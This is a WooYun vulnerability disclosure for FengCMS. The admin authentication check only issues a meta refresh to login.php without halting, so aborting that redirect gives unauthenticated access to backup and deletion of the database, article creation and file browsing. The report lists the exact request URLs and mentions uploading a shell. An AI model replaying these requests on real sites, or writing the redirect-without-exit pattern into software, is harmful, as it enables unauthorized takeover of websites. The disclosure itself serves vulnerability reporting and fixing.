当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-066420

漏洞标题：FengCMS权限验证错误，人人都是管理员

相关厂商：fengcms.com

漏洞作者： magerx

提交时间：2014-07-01 15:27

修复时间：2014-09-29 18:24

公开时间：2014-09-29 18:24

漏洞类型：非授权访问/权限绕过

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-01： 细节已通知厂商并且等待厂商处理中
2014-07-01： 厂商已经确认，细节仅向厂商公开
2014-07-04： 细节向第三方安全合作伙伴开放
2014-08-25： 细节向核心白帽子及相关领域专家公开
2014-09-04： 细节向普通白帽子公开
2014-09-14： 细节向实习白帽子公开
2014-09-29： 细节向公众公开

简要描述：

我是标题党来的。

详细说明：

后台的文件都会包含admin/app/admin.php来做一个身份校验，
来看看admin.php:

<?php
defined('TPL_INCLUDE') or die( 'Restricted access'); 
	if($_SESSION['manage']==""){
		echo '<meta http-equiv="refresh" content="0;url=login.php">';
	}
?>


如果session为空仅做一次refresh，这样以来其实所有包含admin.php的文件代码还是可以执行的，也就是说我们只要abort返回login.php的请求，我们就可以对后台功能进行任意操作了。
举几个例子试试：
数据库备份与删除：
先请求一次，这里用Tamper Data来abort掉之后的返回首页的请求:

http://localhost/fengcms/admin/index.php?controller=dbmanage&operate=dbbackup


QQ20140627-3.png


http://localhost/fengcms/admin/index.php?controller=dbmanage&operate=save&type=0


QQ20140627-1.png


再比如添加文章：

http://localhost/fengcms/admin/index.php?controller=module&project=article&operate=add


QQ20140627-5.png


再比如密码修改：这个也是唯一需要再次验证密码的地方，所以就这个没办法咯

http://localhost/fengcms/admin/index.php?controller=manage&operate=password


QQ20140627-6.png


文件浏览的地方：

http://localhost/fengcms/admin/public/htmledit/php/file_manager_json.php?path=&order=NAME&dir=&1403851632052


其实也就是除了修改密码，其他后台功能都可以越权实现了，找个上传拿shell也是可以的。

漏洞证明：

QQ20140627-3.png


QQ20140627-1.png


QQ20140627-5.png


QQ20140627-6.png


修复方案：

//为啥不直接die或者exit

版权声明：转载请注明来源 magerx@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-07-01 15:37

厂商回复：

非常感谢，立即修复！

最新状态：

暂无